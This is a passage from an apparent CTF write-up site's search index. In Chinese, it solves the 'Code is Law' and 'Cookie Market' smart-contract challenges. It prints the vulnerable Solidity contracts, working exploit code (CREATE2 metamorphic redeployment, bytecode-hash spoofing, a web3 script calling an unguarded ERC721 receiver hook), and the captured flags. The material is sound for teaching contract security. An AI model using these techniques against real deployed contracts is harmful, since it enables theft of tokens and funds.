\"Challenge Setup\" block must be left as-is describe ( \"Challenge Setup\" , function () { it ( \"Should deploy ChallengeToken\" , async function () { const ChallengeTokenFactory = await ethers . getContractFactory ( \"ChallengeToken\" , ( await ethers . getSigners ()). pop ()); const challengeToken = await ChallengeTokenFactory . deploy (); await challengeToken . deployed (); }); }); // Try to solve the challenge below this line // Run `npx hardhat ctf-try` to test your solution locally // Run `npx hardhat ctf-try --submit` to submit your solution to the remote CTF node and get the real flag describe ( \"Solve Challenge\" , function () { let challengeToken : ChallengeToken ; it ( \"Should return the winning flag\" , async function () { challengeToken = await ethers . getContractAt ( \"ChallengeToken\" , \"0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f\" ); const returnedFlag = await challengeToken . did_i_win () console . log ( `\\tThe returned flag is: \" ${ returnedFlag } \"` ) }); });","title":"\u9898\u76ee"},{"location":"blockchain/code_is_law/#code-is-law-1","text":"ChallengeToken.sol // SPDX-License-Identifier: Unlicense pragma solidity ^ 0.8.0 ; import \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" ; import \"hardhat/console.sol\" ; contract ChallengeToken is ERC20 { bytes32 private onlyICanHazTokenContractCodeHash = 0x1431A52467B8E0B496D710A30B897A6EB093CD9137FBF9B34B47441FD5E868F3 ; constructor () ERC20 ( \"ChallengeToken\" , \"BSIDES2022\" ) {} function did_i_win () public view returns ( string memory ) { if ( balanceOf ( msg . sender ) == 0 ) { revert ( \"you shall not pass\" ); } return \"BSidesTLV2022{PLACEHOLDER}\" ; } function can_i_haz_token ( address receiver ) public { require ( receiver == calculateAddressOfTheFirstContractDeployedBy ( tx . origin ), \"receiver is ineligible for a token because they are not the first contract deployed by the EOA who initiated this transaction\" ); require ( getContractCodeHash ( receiver ) == onlyICanHazTokenContractCodeHash , \"receiver is ineligible for a token because their codehash does not match the specific contract codehash required\" ); if ( balanceOf ( receiver ) == 0 ) { _mint ( receiver , 1 ); } } function getContractCodeHash ( address contractAddress ) private view returns ( bytes32 callerContractCodeHash ) { assembly { callerContractCodeHash := extcodehash ( contractAddress ) } } // Copied from https://ethereum.stackexchange.com/a/87840 function calculateAddressOfTheFirstContractDeployedBy ( address deployer ) private pure returns ( address _address ) { bytes32 hash = keccak256 ( abi . encodePacked ( bytes1 ( 0xd6 ), bytes1 ( 0x94 ), deployer , bytes1 ( 0x80 )) ); assembly { mstore ( 0 , hash ) _address := mload ( 0 ) } } }","title":"Code is Law 1"},{"location":"blockchain/code_is_law/#code-is-law-2","text":"ChallengeToken.sol //SPDX-License-Identifier: Unlicense pragma solidity ^ 0.8.0 ; import \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" ; import \"hardhat/console.sol\" ; contract ChallengeToken is ERC20 { bytes32 private onlyICanHazTokenContractCodeHash = 0x1431A52467B8E0B496D710A30B897A6EB093CD9137FBF9B34B47441FD5E868F3 ; constructor () ERC20 ( \"ChallengeToken\" , \"BSIDES2022\" ) {} function did_i_win () public view returns ( string memory ) { if ( balanceOf ( msg . sender ) == 0 ) { revert ( \"you shall not pass\" ); } return \"BSidesTLV2022{PLACEHOLDER}\" ; } function can_i_haz_token ( address receiver ) public { require ( getContractCodeHash ( receiver ) == onlyICanHazTokenContractCodeHash , \"receiver is ineligible for a token because their codehash does not match the specific contract codehash required\" ); if ( balanceOf ( receiver ) == 0 ) { _mint ( receiver , 1 ); } } function getContractCodeHash ( address contractAddress ) private view returns ( bytes32 callerContractCodeHash ) { assembly { callerContractCodeHash := extcodehash ( contractAddress ) } } function approve ( address spender , uint256 amount ) public override returns ( bool ) { return false ; } }","title":"Code is Law 2"},{"location":"blockchain/code_is_law/#english-ver","text":"\u5f53 ChallengeToken.did_i_win() \u7684 msg.sender \u6240\u5728\u5730\u5740\u6301\u6709 token \u65f6\u5c31\u80fd\u83b7\u5f97 flag \u9996\u5148\u5206\u6790 Code is Law 1 \u7684 ChallengeToken \u5408\u7ea6 ChallengeToken \u901a\u8fc7\u51fd\u6570 can_i_haz_token \u53d1\u653e token \uff0c\u4f46\u53ea\u6709\u5408\u7ea6 receiver \u5728 tx.origin \u521d\u6b21\u90e8\u7f72\u5408\u7ea6\u7684\u5730\u5740\u4e0a\uff0c\u4e14\u5408\u7ea6\u4ee3\u7801\u7684\u54c8\u5e0c\u503c\u4e0e onlyICanHazTokenContractCodeHash \u76f8\u7b49\u65f6\u624d\u80fd\u83b7\u5f97 \u90a3\u4e48\uff0c\u5148\u8ba9\u5408\u7ea6 OnlyICanHazToken \u83b7\u5f97 token \u518d\u8f6c\u79fb\u5462\uff1f\u4f46 selfdestruct(payable(msg.sender)) \u53ea\u80fd\u8f6c\u79fb\u4ee5\u592a\u5e01\uff0c\u65e0\u6cd5\u8f6c\u79fb token \u518d\u56de\u5934\u770b\u770b ChallengeToken \u7684 getContractCodeHash \u548c calculateAddressOfTheFirstContractDeployedBy \u4f3c\u4e4e\u4e5f\u6ca1\u6709\u4ec0\u4e48\u95ee\u9898\uff0c ERC20 \u5c31\u66f4\u4e0d\u53ef\u80fd\u4e86 uwu \u6700\u540e\u628a\u6ce8\u610f\u529b\u8f6c\u79fb\u5230\u4e86 hardhat \u4e0a\uff0c\u53d1\u73b0\u4e86\u80fd\u4fee\u6539\u5408\u7ea6\u5b58\u50a8\u7684 hardhat_setStorageAt 1 \uff08\u662f\u795e (\u2565\u03c9\u2565)\uff09\uff0c\u7ed3\u5408\u5408\u7ea6\u53d8\u91cf\u7684\u5b58\u50a8\u4f4d\u7f6e\u3001\u65b9\u5f0f\u76f4\u63a5\u4fee\u6539\u4f59\u989d\u5c31\u597d\u4e86\uff01 it ( \"Should return the winning flag\" , async function () { challengeToken = await ethers . getContractAt ( \"ChallengeToken\" , \"0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f\" ); let [ player ] = await ethers . getSigners (); let playerHash = await ethers . utils . solidityKeccak256 ([ \"uint256\" , \"uint\" ], [ player . address , 0 ]); await ethers . provider . send ( \"hardhat_setStorageAt\" , [ challengeToken . address , playerHash , ethers . utils . hexZeroPad ( ethers . utils . hexlify ( 1 ), 32 )]); const returnedFlag = await challengeToken . did_i_win () console . log ( `\\tThe returned flag is: \" ${ returnedFlag } \"` ) }); ChallengeToken \u7ee7\u627f\u81ea ERC20 \uff0c\u53d8\u91cf _balances \u7528\u4e8e\u5b58\u50a8\u5404\u4e2a\u8d26\u6237\u5730\u5740\u5bf9\u5e94\u7684\u4f59\u989d _balances \u4e3a mapping \u7c7b\u578b\uff0c\u5360\u7528 slot 0 \uff0c\u90a3\u4e48\u5730\u5740 A \u7684\u4f59\u989d\u5b58\u50a8\u4f4d\u7f6e\u5728 keccak256(A | 0) \uff0c | \u8868\u793a\u8fde\u63a5 Code is Law 2 \u4e0e Code is Law 1 \u76f8\u6bd4\uff0c\u53ea\u4fee\u6539\u4e86 ChallengeToken \u53d1\u653e token \u7684\u89c4\u5219\u5e76\u7981\u7528\u4e86 approve \uff0c\u56e0\u800c\u4fee\u6539\u5b58\u50a8\u7684\u65b9\u6cd5\u4ecd\u7136\u9002\u7528 =\uff09 \u770b\u4e86\u5b98\u65b9 WP 2 3 \u518d\u6765\u8865\u5145\u4e00\u4e0b =\u03c9=","title":"\u89e3\u9898\u601d\u8def English ver."},{"location":"blockchain/code_is_law/#code-is-law-1_1","text":"\u5173\u952e\u70b9\u5728\u4e8e\u6784\u9020\u51fd\u6570\u4e0d\u662f\u5408\u7ea6\u4ee3\u7801\u7684\u4e00\u90e8\u5206\uff0c\u56e0\u6b64\u53ef\u4ee5\u5728 OnlyICanHazToken \u7684\u6784\u9020\u51fd\u6570\u4e2d approve \u6269\u5c55\u5408\u7ea6 OnlyICanHazToken //SPDX-License-Identifier: Unlicense pragma solidity ^ 0.8.0 ; import \"./ChallengeToken.sol\" ; contract ExtOnlyICanHazToken { constructor () { ChallengeToken ( 0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f ). approve ( msg . sender , 1 ); } function bye () public { selfdestruct ( payable ( msg . sender )); } } \u4e0d\u8fc7\uff0c\u76f4\u63a5\u4f7f\u7528\u5408\u7ea6 ExtOnlyICanHazToken \u4ecd\u7136\u4f1a\u5f97\u5230\u62a5\u9519 receiver is ineligible for a token because their codehash does not match the specific contract codehash required :( \u6253\u5370\u5408\u7ea6 OnlyICanHazToken \u548c ExtOnlyICanHazToken \u7684\u5b57\u8282\u7801\u8fdb\u884c\u5bf9\u6bd4 console . log (( await ethers . getContractFactory ( \"OnlyICanHazToken\" )). bytecode ); // 0x6080604052348015600f57600080fd5b5060848061001e6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063e71b8b9314602d575b600080fd5b60336035565b005b3373ffffffffffffffffffffffffffffffffffffffff16fffea26469706673582212208288fb767ec1f00b6068ee0de53f59961ced5ec5d3e1770e0a0a46ede725d1ff64736f6c63430008040033 console . log (( await ethers . getContractFactory ( \"ExtOnlyICanHazToken\" )). bytecode ); // 0x608060405234801561001057600080fd5b507373511669fd4de447fed18bb79bafeac93ab7f31f73ffffffffffffffffffffffffffffffffffffffff1663095ea7b33360016040518363ffffffff1660e01b8152600401610061929190610115565b602060405180830381600087803b15801561007b57600080fd5b505af115801561008f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100b391906100ce565b506101af565b6000815190506100c881610198565b92915050565b6000602082840312156100e057600080fd5b60006100ee848285016100b9565b91505092915050565b6101008161013e565b82525050565b61010f81610186565b82525050565b600060408201905061012a60008301856100f7565b6101376020830184610106565b9392505050565b60006101498261015c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006101918261017c565b9050919050565b6101a181610150565b81146101ac57600080fd5b50565b6084806101bd6000396000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063e71b8b9314602d575b600080fd5b60336035565b005b3373ffffffffffffffffffffffffffffffffffffffff16fffea2646970667358221220497d6dee22cd21fcfafd049f00aefcfe7425aa5efdc817d1afe4473a9e7ceb2964736f6c63430008040033 \u5b57\u8282\u7801 39 \u5c06\u5408\u7ea6\u4ee3\u7801\u62f7\u8d1d\u5230\u5185\u5b58\u4e2d\uff0c\u6240\u4ee5\u6bd4\u8f83\u4e24\u4efd\u5408\u7ea6\u4ee3\u7801\u6700\u540e\u4e00\u4e2a 39 \u540e\u7684\u5b57\u8282\u7801\uff0c\u53d1\u73b0\u6709\u4e00\u5c0f\u6bb5\u5dee\u5f02 6000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063e71b8b9314602d575b600080fd5b60336035565b005b3373ffffffffffffffffffffffffffffffffffffffff16fffea2646970667358221220_8288fb767ec1f00b6068ee0de53f59961ced5ec5d3e1770e0a0a46ede725d1ff_64736f6c63430008040033 6000f3fe6080604052348015600f57600080fd5b506004361060285760003560e01c8063e71b8b9314602d575b600080fd5b60336035565b005b3373ffffffffffffffffffffffffffffffffffffffff16fffea2646970667358221220_497d6dee22cd21fcfafd049f00aefcfe7425aa5efdc817d1afe4473a9e7ceb29_64736f6c63430008040033 \u7f16\u8bd1\u5668\u9ed8\u8ba4\u4f1a\u5c06 metadata \u6587\u4ef6\u7684 IPFS \u54c8\u5e0c\u6dfb\u52a0\u5230\u5b57\u8282\u7801\u7684\u672b\u5c3e 4 \uff0c v0.8.0 \u7248\u672c\u7684\u7f16\u8bd1\u5668\u901a\u5e38\u6309\u5982\u4e0b\u683c\u5f0f\u6dfb\u52a0 0xa2 0x64 'ipfs'(69706673) 0x58 0x22 <34 bytes IPFS hash> 0x64 'solc'(736f6c63) 0x43 <3 byte version encoding> 0x00 0x33 \u4e3a\u4e86\u901a\u8fc7 extcodehash \u7684\u68c0\u67e5\uff0c\u53ef\u4ee5\u4f7f\u7528 OnlyICanHazToken \u8986\u76d6 ExtOnlyICanHazToken IPFS \u54c8\u5e0c\u90e8\u5206\u7684\u5b57\u8282\u7801 it ( \"Should return the winning flag\" , async function () { let onlyICanHazTokenFactory = await ethers . getContractFactory ( 'OnlyICanHazToken' ); let extOnlyICanHazTokenFactory = await ethers . getContractFactory ( 'ExtOnlyICanHazToken' ); let [ player ] = await ethers . getSigners (); const ExtOnlyICanHazTokenFactory = new ethers . ContractFactory ( onlyICanHazTokenFactory . interface , extOnlyICanHazTokenFactory . bytecode . substring ( 0 , extOnlyICanHazTokenFactory . bytecode . length - 100 ) + onlyICanHazTokenFactory . bytecode . substring ( onlyICanHazTokenFactory . bytecode . length - 100 ), player ); let extOnlyICanHazToken = await ExtOnlyICanHazTokenFactory . deploy (); await extOnlyICanHazToken . deployed (); challengeToken = await ethers . getContractAt ( \"ChallengeToken\" , \"0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f\" ); await challengeToken . can_i_haz_token ( extOnlyICanHazToken . address ); await challengeToken . transferFrom ( extOnlyICanHazToken . address , player . address , 1 ); const returnedFlag = await challengeToken . did_i_win () console . log ( `\\tThe returned flag is: \" ${ returnedFlag } \"` ) });","title":"Code is Law 1"},{"location":"blockchain/code_is_law/#code-is-law-2_1","text":"approve \u88ab\u7981\u7528\u4e86\uff0c\u4f46\u53d1\u653e token \u7684\u89c4\u5219\u6709\u6240\u5bbd\u9650\uff0c\u4e0d\u518d\u9700\u8981\u662f tx.origin \u521d\u6b21\u90e8\u7f72\u7684\u5408\u7ea6 \u4e0d\u8fc7 Code is Law 1 \u4e2d calculateAddressOfTheFirstContractDeployedBy \u4f9d\u636e\u7684\u662f CREATE \u64cd\u4f5c\u7801\u7684\u5730\u5740\u8ba1\u7b97\u89c4\u5219\uff0c\u5373\u65b0\u5408\u7ea6\u7684\u5730\u5740\u4e0e\u5408\u7ea6\u521b\u5efa\u8005\u7684\u5730\u5740\u548c\u7531\u521b\u5efa\u8005\u53d1\u8d77\u7684\u4ea4\u6613\u7684\u6570\u91cf\u6709\u5173\u3002\u9664\u6b64\u4e4b\u5916\uff0c\u5408\u7ea6\u8fd8\u53ef\u4ee5\u901a\u8fc7 CREATE2 \u64cd\u4f5c\u7801\u521b\u5efa\uff0c\u6b64\u65f6\u7684\u5408\u7ea6\u5730\u5740\u4e0e\u5408\u7ea6\u521b\u5efa\u8005\u7684\u5730\u5740\u3001\u53c2\u6570 salt \u548c\u5408\u7ea6\u521b\u5efa\u4ee3\u7801\u6709\u5173\uff0c\u82e5\u4fdd\u6301\u5408\u7ea6\u521b\u5efa\u4ee3\u7801\u4e0d\u53d8\uff0c\u4e14\u6784\u9020\u51fd\u6570\u8fd4\u56de\u7684\u8fd0\u884c\u65f6\u5b57\u8282\u7801\u53ef\u63a7\uff0c\u5c31\u53ef\u4ee5\u5728\u540c\u4e00\u5730\u5740\u4e0a\u53cd\u590d\u90e8\u7f72\u5b8c\u5168\u4e0d\u540c\u7684\u5408\u7ea6 \u63a5\u4e0b\u6765\u601d\u8def\u5c31\u5f88\u6e05\u6670\u5566\uff0c\u5148\u5229\u7528 CREATE2 \u90e8\u7f72 OnlyICanHazToken \u5e76\u5728\u53d6\u5f97 token \u540e selfdestruct \uff0c\u518d\u5728\u76f8\u540c\u5730\u5740\u4e0a\u90e8\u7f72\u65b0\u7684\u5408\u7ea6\u6765\u8f6c\u79fb token \u5408\u7ea6 Deployer \u8d1f\u8d23\u90e8\u7f72\u6307\u5b9a\u5408\u7ea6 //SPDX-License-Identifier: Unlicense pragma solidity ^ 0.8.0 ; contract Deployer { mapping ( address => address ) _implementations ; address public deployAddr ; // will be called by the metamorphic Contract function getImplementation () external view returns ( address implementation ) { return _implementations [ msg . sender ]; } function _getMetamorphicContractAddress ( uint256 salt , bytes memory metamorphicCode ) internal view returns ( address ) { // determine the address of the metamorphic contract. return address ( uint160 ( uint256 ( keccak256 ( abi . encodePacked ( hex \"ff\" , address ( this ), salt , keccak256 ( abi . encodePacked ( metamorphicCode ))))))); } function deploy ( bytes calldata bytecode , uint256 salt ) public { bytes memory implInitCode = bytecode ; // assign the initialization code for the metamorphic contract. bytes memory metamorphicCode = ( hex \"5860208158601c335a63aaf10f428752fa158151803b80938091923cf3\" // here 3c (extcodecopy) is used, not 39 (codecopy) ); // declare a variable for the address of the implementation contract. address implementationContract ; // load implementation init code and length, then deploy via CREATE. assembly { implementationContract := create ( 0 , add ( 0x20 , implInitCode ), mload ( implInitCode )) } address metamorphicContractAddress = _getMetamorphicContractAddress ( salt , metamorphicCode ); // first we deploy the code we want to deploy on a separate address // store the implementation to be retrieved by the metamorphic contract. _implementations [ metamorphicContractAddress ] = implementationContract ; address addr ; assembly { addr := create2 ( 0 , // send 0 wei add ( 0x20 , metamorphicCode ), // load initialization code. mload ( metamorphicCode ), // load init code's length. salt ) } deployAddr = addr ; } } \u5408\u7ea6 Withdrawer \u7528\u4e8e\u8f6c\u79fb token \uff0c\u5728 OnlyICanHazToken \u5b9e\u4f8b\u81ea\u6bc1\u540e\u7531 Deployer \u90e8\u7f72\u5230\u539f OnlyICanHazToken \u5b9e\u4f8b\u6240\u5728\u7684\u5730\u5740 //SPDX-License-Identifier: Unlicense pragma solidity ^ 0.8.0 ; import \"./ChallengeToken.sol\" ; contract Withdrawer { function withdraw () public { ChallengeToken ( 0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f ). transfer ( msg . sender , 1 ); } } \u5408\u7ea6\u4ea4\u4e92\u8fc7\u7a0b it ( \"Should return the winning flag\" , async function () { challengeToken = await ethers . getContractAt ( \"ChallengeToken\" , \"0x73511669fd4dE447feD18BB79bAFeAC93aB7F31f\" ); let salt = 1 ; let deployerFactory = await ethers . getContractFactory ( \"Deployer\" ); let deployer = await deployerFactory . deploy (); await deployer . deployed (); let onlyICanHazTokenFactory = await ethers . getContractFactory ( 'OnlyICanHazToken' ); await deployer . deploy ( onlyICanHazTokenFactory . bytecode , salt ); let deployAddr = await deployer . deployAddr (); challengeToken . can_i_haz_token ( deployAddr ); let onlyICanHazToken = await ethers . getContractAt ( \"OnlyICanHazToken\" , deployAddr ); await onlyICanHazToken . bye (); let withdrawerFactory = await ethers . getContractFactory ( 'Withdrawer' ); await deployer . deploy ( withdrawerFactory . bytecode , salt ); let withdrawer = await ethers . getContractAt ( \"Withdrawer\" , deployAddr ); await withdrawer . withdraw (); const returnedFlag = await challengeToken . did_i_win (); console . log ( `\\tThe returned flag is: \" ${ returnedFlag } \"` ) });","title":"Code is Law 2"},{"location":"blockchain/code_is_law/#flag","text":"","title":"Flag"},{"location":"blockchain/code_is_law/#code-is-law-1_2","text":"BSidesTLV2022{c0nstUct!v3_m@g!3_ind3ed}","title":"Code is Law 1"},{"location":"blockchain/code_is_law/#code-is-law-2_2","text":"BSidesTLV2022{W!L3_M@g!3_in_the_w3rld}","title":"Code is Law 2"},{"location":"blockchain/code_is_law/#_2","text":"ContractFactory | ethers EVM Dialect Overwriting Smart Contracts Local ERC20 Balance Manipulation (with HardHat) \u21a9 Code is Law 1: Solidity CTF Challenge Writeup | by Oren Yomtov \u21a9 Code is Law 2: Solidity CTF Challenge Writeup | by Oren Yomtov \u21a9 Contract Metadata \u21a9","title":"\u53c2\u8003\u8d44\u6599"},{"location":"blockchain/cookie_market/","tags":["smart contract"],"text":"#smart contract .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 The cookie market is bustling with activity as vendors sell their festive treats and holiday shoppers rush to find the perfect cookies for their loved ones. As Santa Claus makes his way through the market, he is greeted with warm smiles and cheerful greetings from the vendors and shoppers alike. Children run up to him, excited to see the jolly old man in person, and Santa takes the time to chat with them and hear their holiday wishes. As he moves from booth to booth, Santa tastes a variety of cookies, from classic sugar cookies decorated with frosting and sprinkles, to more exotic flavors like gingerbread and spiced shortbread. He even tries his hand at decorating a few cookies himself, much to the delight of the children watching. After he has gathered all the supplies he needs, Santa thanks the vendors and shoppers for their hospitality and heads back to his workshop to begin preparing for his long journey. As he sets off, he is filled with the warmth and joy of the holiday season, knowing that he will bring a little bit of that magic to every child he visits. nc challs.htsp.ro 9002 cookie.sol // SPDX-License-Identifier: MIT pragma solidity 0.8.17 ; import \"./ERC721.sol\" ; contract Cookie is ERC721 ( \"cookie\" , \"E\" ) { uint256 public cookieIDX ; address public owner ; constructor (){ cookieIDX = 0 ; } // @dev mints an cookie. Note that there are only 10 cookies in the basket. function mintcookie () external { require ( cookieIDX < 10 ); _mint ( msg . sender , cookieIDX ); cookieIDX += 1 ; } } CookieMarket.sol // SPDX-License-Identifier: MIT pragma solidity 0.8.17 ; import \"./IERC721.sol\" ; import \"./IERC721Receiver.sol\" ; contract CookieMarket is IERC721Receiver { // mapping that handles ownership of the cookies within the CookieMarket. mapping ( uint256 => address ) public canRedeemcookie ; // struct that handles the orders in the market struct sell_Order { uint256 cookie_idx_offered ; // the ERC721 idx of the \"cookie\" token. uint256 amount_eth_wanted ; // the amount of ETH the seller wants to receive for the cookie. address cookie_provider ; // the address of the seller. } // storing all the sell orders in the market. sell_Order [] public sellOrders ; // cookie IERC721 public cookie ; /** @dev cookieMarket constructor. @param _cookie ERC721 contract instance. */ constructor ( address _cookie ) { cookie = IERC721 ( _cookie ); } /** @dev Allows a buyer to buy an cookie from the cookieMarket via exhausting its subsequent sell order. @param _idx The ERC721 idx of the cookie. @param _owner The `current` owner of the cookie. */ function executeOrder ( uint256 _idx , address _owner ) external payable { require ( msg . sender != _owner , \"err: no self-exchanges allowed\" ); // find the sellOrder whose cookie_idx_offered == _idx for ( uint256 i = 0 ; i < sellOrders . length ; i ++ ) { if ( sellOrders [ i ]. cookie_idx_offered == _idx ) { // check if the _owner is the seller require ( sellOrders [ i ]. cookie_provider == _owner , \"err: _owner != seller\" ); // the cookie is for sale. // check if the msg.sender has provided enough ETH to pay for the cookie if ( msg . value >= sellOrders [ i ]. amount_eth_wanted ) { // the _owner has enough ETH to pay for the cookie // paying the seller(current owner) of the cookie ( bool sent , bytes memory data ) = _owner . call { value : msg . value }( \"\" ); require ( sent , \"err: transfer failed\" ); // transfer the ownership of the cookie from the seller to the buyer canRedeemcookie [ _idx ] = msg . sender ; // remove the sellOrder from the sellOrders array sellOrders [ i ] = sellOrders [ sellOrders . length - 1 ]; sellOrders . pop (); break ; } } } } /** @dev Function to retrieve an cookie from the market. @param _idx The index of the cookie in the market. */ function redeemcookies ( uint256 _idx ) external { // check if sender can redeem the cookie require ( canRedeemcookie [ _idx ] == msg . sender , \"err: msg.sender != owner(cookie)\" ); // approve the cookie transfer. cookie . approve ( msg . sender , _idx ); // transfer the ownership of the cookie. cookie . transferFrom ( address ( this ), msg . sender , _idx ); // remove the cookie _idx from the canRedeemcookie mapping delete canRedeemcookie [ _idx ]; } /** @dev Function to effectively add a sellOrder for your cookie on the cookieMarket. @param _cookieIDX The index of the ERC721 cookie. @param _ethWanted The amount of ETH the seller wants to receive for the cookie. */ function addSellOrder ( uint256 _cookieIDX , uint256 _ethWanted ) external { // check whether the msg.sender can sell the _cookieIDX require ( canRedeemcookie [ _cookieIDX ] == msg . sender , \"err: msg.sender != owner(cookie[_cookieIDX])\" ); // create the new sellOrder sell_Order memory newOrder ; newOrder . cookie_idx_offered = _cookieIDX ; newOrder . amount_eth_wanted = _ethWanted ; newOrder . cookie_provider = msg . sender ; sellOrders . push ( newOrder ); } /** @dev Function to effectively remove a sellOrder from the cookieMarket. @param _cookieIDX The index of the ERC721 cookie. */ function removeSellOrder ( uint256 _cookieIDX ) external { // iterate through all sellOrders for ( uint256 i = 0 ; i < sellOrders . length ; i ++ ) { // check if the sellOrder is for the _cookieIDX if ( sellOrders [ i ]. cookie_idx_offered == _cookieIDX ) { // check if the msg.sender is the owner of the cookie require ( sellOrders [ i ]. cookie_provider == msg . sender , \"err: msg.sender != cookie_provider\" ); // delete the sellOrder sellOrders [ i ] = sellOrders [ sellOrders . length - 1 ]; sellOrders . pop (); break ; } } } /** @dev Inherited from IERC721Receiver. */ function onERC721Received ( address , address _from , uint256 _tokenId , bytes calldata ) external override returns ( bytes4 ) { // we have received an cookie from its owner; mark that in the redeem mapping canRedeemcookie [ _tokenId ] = _from ; return this . onERC721Received . selector ; } } Hint \u00b6 Retrieve the OG cookie to get the flag! \u89e3\u9898\u601d\u8def \u00b6 \u9700\u8981\u83b7\u5f97\u7f16\u53f7 0 \u7684 cookie\uff0c\u521d\u59cb\u7531 deployer \u83b7\u5f97\u5e76\u8f6c\u7ed9\u5408\u7ea6 CookieMarket \u6839\u636e canRedeemcookie \u7684\u8bb0\u5f55\uff0c\u53ef\u4ee5\u901a\u8fc7\u51fd\u6570 redeemcookies \u8d4e\u56de\u6307\u5b9a\u7f16\u53f7\u7684 cookie\uff0c\u76f4\u63a5\u8c03\u7528 onERC721Received \u66f4\u65b0\u7f16\u53f7\u4e3a 0 \u7684 cookie \u6240\u6709\u8005\u518d\u8d4e\u56de\u5373\u53ef \u56e0\u4e3a onERC721Received \u662f hook \u51fd\u6570\uff0c\u8d77\u521d\u5e76\u6ca1\u6709\u610f\u8bc6\u5230\u53ef\u4ee5\u88ab\u76f4\u63a5\u8c03\u7528 XD Exploit \u00b6 from web3 import Web3 from pwn import * def transact ( func , gas = 1000000 ): tx = account . sign_transaction ( eval ( func ) . buildTransaction ({ 'chainId' : w3 . eth . chain_id , 'nonce' : w3 . eth . get_transaction_count ( account . address ), 'gas' : gas , 'gasPrice' : w3 . eth . gas_price , })) . rawTransaction tx_hash = w3 . eth . send_raw_transaction ( tx ) . hex () return w3 . eth . wait_for_transaction_receipt ( tx_hash ) conn = remote ( 'challs.htsp.ro' , 9002 ) conn . sendlineafter ( 'action?' , '1' ) uuid = conn . recvline_contains ( 'uuid' ) . decode () . split ( ' ' )[ - 1 ] . strip () w3 = Web3 ( Web3 . HTTPProvider ( conn . recvline_contains ( 'rpc' ) . decode () . split ( ' ' )[ - 1 ])) account = w3 . eth . account . from_key ( conn . recvline_contains ( 'key' ) . decode () . split ( ' ' )[ - 1 ]) deployer_addr = conn . recvline_contains ( 'contract' ) . decode () . split ( ' ' )[ - 1 ] . strip () cookie_addr = w3 . toChecksumAddress ( w3 . eth . get_storage_at ( deployer_addr , 0 ) . hex ()[ - 40 :]) cookie_abi = open ( 'cookie_abi.json' ) . read () cookie_contract = w3 . eth . contract ( address = cookie_addr , abi = cookie_abi ) market_addr = w3 . toChecksumAddress ( w3 . eth . get_storage_at ( deployer_addr , 1 ) . hex ()[ - 40 :]) market_abi = open ( 'market_abi.json' ) . read () market_contract = w3 . eth . contract ( address = market_addr , abi = market_abi ) transact ( 'market_contract.functions.onERC721Received(account.address, account.address, 0, \"\")' ) transact ( 'market_contract.functions.redeemcookies(0)' ) conn = remote ( 'challs.htsp.ro' , 9002 ) conn . sendlineafter ( 'action?' , '3' ) conn . sendlineafter ( 'uuid please:' , uuid ) conn . sendlineafter ( 'contract address please:' , deployer_addr ) conn . interactive () Flag \u00b6 X-MAS{rotten_cookies_spoil_the_market}","title":"Cookie Market"},{"location":"blockchain/cookie_market/#_1","text":"The cookie market is bustling with activity as vendors sell their festive treats and holiday shoppers rush to find the perfect cookies for their loved ones. As Santa Claus makes his way through the market, he is greeted with warm smiles and cheerful greetings from the vendors and shoppers alike. Children run up to him, excited to see the jolly old man in person, and Santa takes the time to chat with them and hear their holiday wishes. As he moves from booth to booth, Santa tastes a variety of cookies, from classic sugar cookies decorated with frosting and sprinkles, to more exotic flavors like gingerbread and spiced shortbread. He even tries his hand at decorating a few cookies himself, much to the delight of the children watching. After he has gathered all the supplies he needs, Santa thanks the vendors and shoppers for their hospitality and heads back to his workshop to begin preparing for his long journey. As he sets off, he is filled with the warmth and joy of the holiday season, knowing that he will bring a little bit of that magic to every child he visits. nc challs.htsp.ro 9002 cookie.sol // SPDX-License-Identifier: MIT pragma solidity 0.8.17 ; import \"./ERC721.sol\" ; contract Cookie is ERC721 ( \"cookie\" , \"E\" ) { uint256 public cookieIDX ; address public owner ; constructor (){ cookieIDX = 0 ; } // @dev mints an cookie. Note that there are only 10 cookies in the basket. function mintcookie () external { require ( cookieIDX < 10 ); _mint ( msg . sender , cookieIDX ); cookieIDX += 1 ; } } CookieMarket.sol // SPDX-License-Identifier: MIT pragma solidity 0.8.17 ; import \"./IERC721.sol\" ; import \"./IERC721Receiver.sol\" ; contract CookieMarket is IERC721Receiver { // mapping that handles ownership of the cookies within the CookieMarket. mapping ( uint256 => address ) public canRedeemcookie ; // struct that handles the orders in the market struct sell_Order { uint256 cookie_idx_offered ; // the ERC721 idx of the \"cookie\" token. uint256 amount_eth_wanted ; // the amount of ETH the seller wants to receive for the cookie. address cookie_provider ; // the address of the seller. } // storing all the sell orders in the market. sell_Order [] public sellOrders ; // cookie IERC721 public cookie ; /** @dev cookieMarket constructor. @param _cookie ERC721 contract instance. */ constructor ( address _cookie ) { cookie = IERC721 ( _cookie ); } /** @dev Allows a buyer to buy an cookie from the cookieMarket via exhausting its subsequent sell order. @param _idx The ERC721 idx of the cookie. @param _owner The `current` owner of the cookie. */ function executeOrder ( uint256 _idx , address _owner ) external payable { require ( msg . sender != _owner , \"err: no self-exchanges allowed\" ); // find the sellOrder whose cookie_idx_offered == _idx for ( uint256 i = 0 ; i < sellOrders . length ; i ++ ) { if ( sellOrders [ i ]. cookie_idx_offered == _idx ) { // check if the _owner is the seller require ( sellOrders [ i ]. cookie_provider == _owner , \"err: _owner != seller\" ); // the cookie is for sale. // check if the msg.sender has provided enough ETH to pay for the cookie if ( msg . value >= sellOrders [ i ]. amount_eth_wanted ) { // the _owner has enough ETH to pay for the cookie // paying the seller(current owner) of the cookie ( bool sent , bytes memory data ) = _owner . call { value : msg . value }( \"\" ); require ( sent , \"err: transfer failed\" ); // transfer the 